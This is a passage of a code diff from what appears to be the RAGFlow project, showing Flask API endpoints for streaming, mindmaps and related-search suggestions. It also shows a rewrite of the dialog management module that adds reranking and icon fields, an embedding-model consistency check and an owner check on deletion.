+        yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+    resp = Response(stream(), mimetype="text/event-stream")
+    resp.headers.add_header("Cache-control", "no-cache")
+    resp.headers.add_header("Connection", "keep-alive")
+    resp.headers.add_header("X-Accel-Buffering", "no")
+    resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+    return resp
+
+
+@manager.route('/mindmap', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("question", "kb_ids")
+def mindmap():
+    req = request.json
+    kb_ids = req["kb_ids"]
+    e, kb = KnowledgebaseService.get_by_id(kb_ids[0])
+    if not e:
+        return get_data_error_result(message="Knowledgebase not found!")
+
+    embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING, llm_name=kb.embd_id)
+    chat_mdl = LLMBundle(current_user.id, LLMType.CHAT)
+    question = req["question"]
+    ranks = settings.retrievaler.retrieval(question, embd_mdl, kb.tenant_id, kb_ids, 1, 12,
+                                           0.3, 0.3, aggs=False,
+                                           rank_feature=label_question(question, [kb])
+                                           )
+    mindmap = MindMapExtractor(chat_mdl)
+    mind_map = mindmap([c["content_with_weight"] for c in ranks["chunks"]]).output
+    if "error" in mind_map:
+        return server_error_response(Exception(mind_map["error"]))
+    return get_json_result(data=mind_map)
+
+
+@manager.route('/related_questions', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("question")
+def related_questions():
+    req = request.json
+    question = req["question"]
+    chat_mdl = LLMBundle(current_user.id, LLMType.CHAT)
+    prompt = """
+Objective: To generate search terms related to the user's search keywords, helping users find more valuable information.
+Instructions:
+ - Based on the keywords provided by the user, generate 5-10 related search terms.
+ - Each search term should be directly or indirectly related to the keyword, guiding the user to find more valuable information.
+ - Use common, general terms as much as possible, avoiding obscure words or technical jargon.
+ - Keep the term length between 2-4 words, concise and clear.
+ - DO NOT translate, use the language of the original keywords.
+
+### Example:
+Keywords: Chinese football
+Related search terms:
+1. Current status of Chinese football
+2. Reform of Chinese football
+3. Youth training of Chinese football
+4. Chinese football in the Asian Cup
+5. Chinese football in the World Cup
+
+Reason:
+ - When searching, users often only use one or two keywords, making it difficult to fully express their information needs.
+ - Generating related search terms can help users dig deeper into relevant information and improve search efficiency. 
+ - At the same time, related terms can also help search engines better understand user needs and return more accurate search results.
+ 
+"""
+    ans = chat_mdl.chat(prompt, [{"role": "user", "content": f"""
+Keywords: {question}
+Related search terms:
+    """}], {"temperature": 0.9})
+    return get_json_result(data=[re.sub(r"^[0-9]\. ", "", a) for a in ans.split("\n") if re.match(r"^[0-9]\. ", a)])

api/apps/dialog_app.py

@@ -1,170 +1,180 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-
-from flask import request
-from flask_login import login_required, current_user
-from api.db.services.dialog_service import DialogService
-from api.db import StatusEnum
-from api.db.services.knowledgebase_service import KnowledgebaseService
-from api.db.services.user_service import TenantService
-from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
-from api.utils import get_uuid
-from api.utils.api_utils import get_json_result
-
-
-@manager.route('/set', methods=['POST'])
-@login_required
-def set_dialog():
-    req = request.json
-    dialog_id = req.get("dialog_id")
-    name = req.get("name", "New Dialog")
-    description = req.get("description", "A helpful Dialog")
-    top_n = req.get("top_n", 6)
-    similarity_threshold = req.get("similarity_threshold", 0.1)
-    vector_similarity_weight = req.get("vector_similarity_weight", 0.3)
-    llm_setting = req.get("llm_setting", {
-        "temperature": 0.1,
-        "top_p": 0.3,
-        "frequency_penalty": 0.7,
-        "presence_penalty": 0.4,
-        "max_tokens": 215
-    })
-    default_prompt = {
-        "system": """你是一个智能助手，请总结知识库的内容来回答问题，请列举知识库中的数据详细回答。当所有知识库内容都与问题无关时，你的回答必须包括“知识库中未找到您要的答案！”这句话。回答需要考虑聊天历史。
-以下是知识库：
-{knowledge}
-以上是知识库。""",
-        "prologue": "您好，我是您的助手小樱，长得可爱又善良，can I help you?",
-        "parameters": [
-            {"key": "knowledge", "optional": False}
-        ],
-        "empty_response": "Sorry! 知识库中未找到相关内容！"
-    }
-    prompt_config = req.get("prompt_config", default_prompt)
-
-    if not prompt_config["system"]:
-        prompt_config["system"] = default_prompt["system"]
-    # if len(prompt_config["parameters"]) < 1:
-    #     prompt_config["parameters"] = default_prompt["parameters"]
-    # for p in prompt_config["parameters"]:
-    #     if p["key"] == "knowledge":break
-    # else: prompt_config["parameters"].append(default_prompt["parameters"][0])
-
-    for p in prompt_config["parameters"]:
-        if p["optional"]:
-            continue
-        if prompt_config["system"].find("{%s}" % p["key"]) < 0:
-            return get_data_error_result(
-                retmsg="Parameter '{}' is not used".format(p["key"]))
-
-    try:
-        e, tenant = TenantService.get_by_id(current_user.id)
-        if not e:
-            return get_data_error_result(retmsg="Tenant not found!")
-        llm_id = req.get("llm_id", tenant.llm_id)
-        if not dialog_id:
-            if not req.get("kb_ids"):
-                return get_data_error_result(
-                    retmsg="Fail! Please select knowledgebase!")
-            dia = {
-                "id": get_uuid(),
-                "tenant_id": current_user.id,
-                "name": name,
-                "kb_ids": req["kb_ids"],
-                "description": description,
-                "llm_id": llm_id,
-                "llm_setting": llm_setting,
-                "prompt_config": prompt_config,
-                "top_n": top_n,
-                "similarity_threshold": similarity_threshold,
-                "vector_similarity_weight": vector_similarity_weight
-            }
-            if not DialogService.save(**dia):
-                return get_data_error_result(retmsg="Fail to new a dialog!")
-            e, dia = DialogService.get_by_id(dia["id"])
-            if not e:
-                return get_data_error_result(retmsg="Fail to new a dialog!")
-            return get_json_result(data=dia.to_json())
-        else:
-            del req["dialog_id"]
-            if "kb_names" in req:
-                del req["kb_names"]
-            if not DialogService.update_by_id(dialog_id, req):
-                return get_data_error_result(retmsg="Dialog not found!")
-            e, dia = DialogService.get_by_id(dialog_id)
-            if not e:
-                return get_data_error_result(retmsg="Fail to update a dialog!")
-            dia = dia.to_dict()
-            dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"])
-            return get_json_result(data=dia)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/get', methods=['GET'])
-@login_required
-def get():
-    dialog_id = request.args["dialog_id"]
-    try:
-        e, dia = DialogService.get_by_id(dialog_id)
-        if not e:
-            return get_data_error_result(retmsg="Dialog not found!")
-        dia = dia.to_dict()
-        dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"])
-        return get_json_result(data=dia)
-    except Exception as e:
-        return server_error_response(e)
-
-
-def get_kb_names(kb_ids):
-    ids, nms = [], []
-    for kid in kb_ids:
-        e, kb = KnowledgebaseService.get_by_id(kid)
-        if not e or kb.status != StatusEnum.VALID.value:
-            continue
-        ids.append(kid)
-        nms.append(kb.name)
-    return ids, nms
-
-
-@manager.route('/list', methods=['GET'])
-@login_required
-def list():
-    try:
-        diags = DialogService.query(
-            tenant_id=current_user.id,
-            status=StatusEnum.VALID.value,
-            reverse=True,
-            order_by=DialogService.model.create_time)
-        diags = [d.to_dict() for d in diags]
-        for d in diags:
-            d["kb_ids"], d["kb_names"] = get_kb_names(d["kb_ids"])
-        return get_json_result(data=diags)
-    except Exception as e:
-        return server_error_response(e)
-
-
-@manager.route('/rm', methods=['POST'])
-@login_required
-@validate_request("dialog_ids")
-def rm():
-    req = request.json
-    try:
-        DialogService.update_many_by_id(
-            [{"id": id, "status": StatusEnum.INVALID.value} for id in req["dialog_ids"]])
-        return get_json_result(data=True)
-    except Exception as e:
-        return server_error_response(e)
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+from flask import request
+from flask_login import login_required, current_user
+from api.db.services.dialog_service import DialogService
+from api.db import StatusEnum
+from api.db.services.llm_service import TenantLLMService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.user_service import TenantService, UserTenantService
+from api import settings
+from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
+from api.utils import get_uuid
+from api.utils.api_utils import get_json_result
+
+
+@manager.route('/set', methods=['POST'])  # noqa: F821
+@login_required
+def set_dialog():
+    req = request.json
+    dialog_id = req.get("dialog_id")
+    name = req.get("name", "New Dialog")
+    description = req.get("description", "A helpful dialog")
+    icon = req.get("icon", "")
+    top_n = req.get("top_n", 6)
+    top_k = req.get("top_k", 1024)
+    rerank_id = req.get("rerank_id", "")
+    if not rerank_id:
+        req["rerank_id"] = ""
+    similarity_threshold = req.get("similarity_threshold", 0.1)
+    vector_similarity_weight = req.get("vector_similarity_weight", 0.3)
+    llm_setting = req.get("llm_setting", {})
+    default_prompt = {
+        "system": """你是一个智能助手，请总结知识库的内容来回答问题，请列举知识库中的数据详细回答。当所有知识库内容都与问题无关时，你的回答必须包括“知识库中未找到您要的答案！”这句话。回答需要考虑聊天历史。
+以下是知识库：
+{knowledge}
+以上是知识库。""",
+        "prologue": "您好，我是您的助手小樱，长得可爱又善良，can I help you?",
+        "parameters": [
+            {"key": "knowledge", "optional": False}
+        ],
+        "empty_response": "Sorry! 知识库中未找到相关内容！"
+    }
+    prompt_config = req.get("prompt_config", default_prompt)
+
+    if not prompt_config["system"]:
+        prompt_config["system"] = default_prompt["system"]
+
+    for p in prompt_config["parameters"]:
+        if p["optional"]:
+            continue
+        if prompt_config["system"].find("{%s}" % p["key"]) < 0:
+            return get_data_error_result(
+                message="Parameter '{}' is not used".format(p["key"]))
+
+    try:
+        e, tenant = TenantService.get_by_id(current_user.id)
+        if not e:
+            return get_data_error_result(message="Tenant not found!")
+        kbs = KnowledgebaseService.get_by_ids(req.get("kb_ids", []))
+        embd_ids = [TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs]  # remove vendor suffix for comparison
+        embd_count = len(set(embd_ids))
+        if embd_count > 1:
+            return get_data_error_result(message=f'Datasets use different embedding models: {[kb.embd_id for kb in kbs]}"')
+
+        llm_id = req.get("llm_id", tenant.llm_id)
+        if not dialog_id:
+            dia = {
+                "id": get_uuid(),
+                "tenant_id": current_user.id,
+                "name": name,
+                "kb_ids": req.get("kb_ids", []),
+                "description": description,
+                "llm_id": llm_id,
+                "llm_setting": llm_setting,
+                "prompt_config": prompt_config,
+                "top_n": top_n,
+                "top_k": top_k,
+                "rerank_id": rerank_id,
+                "similarity_threshold": similarity_threshold,
+                "vector_similarity_weight": vector_similarity_weight,
+                "icon": icon
+            }
+            if not DialogService.save(**dia):
+                return get_data_error_result(message="Fail to new a dialog!")
+            return get_json_result(data=dia)
+        else:
+            del req["dialog_id"]
+            if "kb_names" in req:
+                del req["kb_names"]
+            if not DialogService.update_by_id(dialog_id, req):
+                return get_data_error_result(message="Dialog not found!")
+            e, dia = DialogService.get_by_id(dialog_id)
+            if not e:
+                return get_data_error_result(message="Fail to update a dialog!")
+            dia = dia.to_dict()
+            dia.update(req)
+            dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"])
+            return get_json_result(data=dia)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/get', methods=['GET'])  # noqa: F821
+@login_required
+def get():
+    dialog_id = request.args["dialog_id"]
+    try:
+        e, dia = DialogService.get_by_id(dialog_id)
+        if not e:
+            return get_data_error_result(message="Dialog not found!")
+        dia = dia.to_dict()
+        dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"])
+        return get_json_result(data=dia)
+    except Exception as e:
+        return server_error_response(e)
+
+
+def get_kb_names(kb_ids):
+    ids, nms = [], []
+    for kid in kb_ids:
+        e, kb = KnowledgebaseService.get_by_id(kid)
+        if not e or kb.status != StatusEnum.VALID.value:
+            continue
+        ids.append(kid)
+        nms.append(kb.name)
+    return ids, nms
+
+
+@manager.route('/list', methods=['GET'])  # noqa: F821
+@login_required
+def list_dialogs():
+    try:
+        diags = DialogService.query(
+            tenant_id=current_user.id,
+            status=StatusEnum.VALID.value,
+            reverse=True,
+            order_by=DialogService.model.create_time)
+        diags = [d.to_dict() for d in diags]
+        for d in diags:
+            d["kb_ids"], d["kb_names"] = get_kb_names(d["kb_ids"])
+        return get_json_result(data=diags)
+    except Exception as e:
+        return server_error_response(e)
+
+
+@manager.route('/rm', methods=['POST'])  # noqa: F821
+@login_required
+@validate_request("dialog_ids")
+def rm():
+    req = request.json
+    dialog_list=[]
+    tenants = UserTenantService.query(user_id=current_user.id)
+    try:
+        for id in req["dialog_ids"]:
+            for tenant in tenants:
+                if DialogService.query(tenant_id=tenant.tenant_id, id=id):
+                    break
+            else:
+                return get_json_result(
+                    data=False, message='Only owner of dialog authorized for this operation.',
+                    code=settings.RetCode.OPERATING_ERROR)
+            dialog_list.append({"id": id,"status":StatusEnum.INVALID.value})
+        DialogService.update_many_by_id(dialog_list)
+        return get_json_result(data=True)
+    except Exception as e:
+        return server_error_response(e)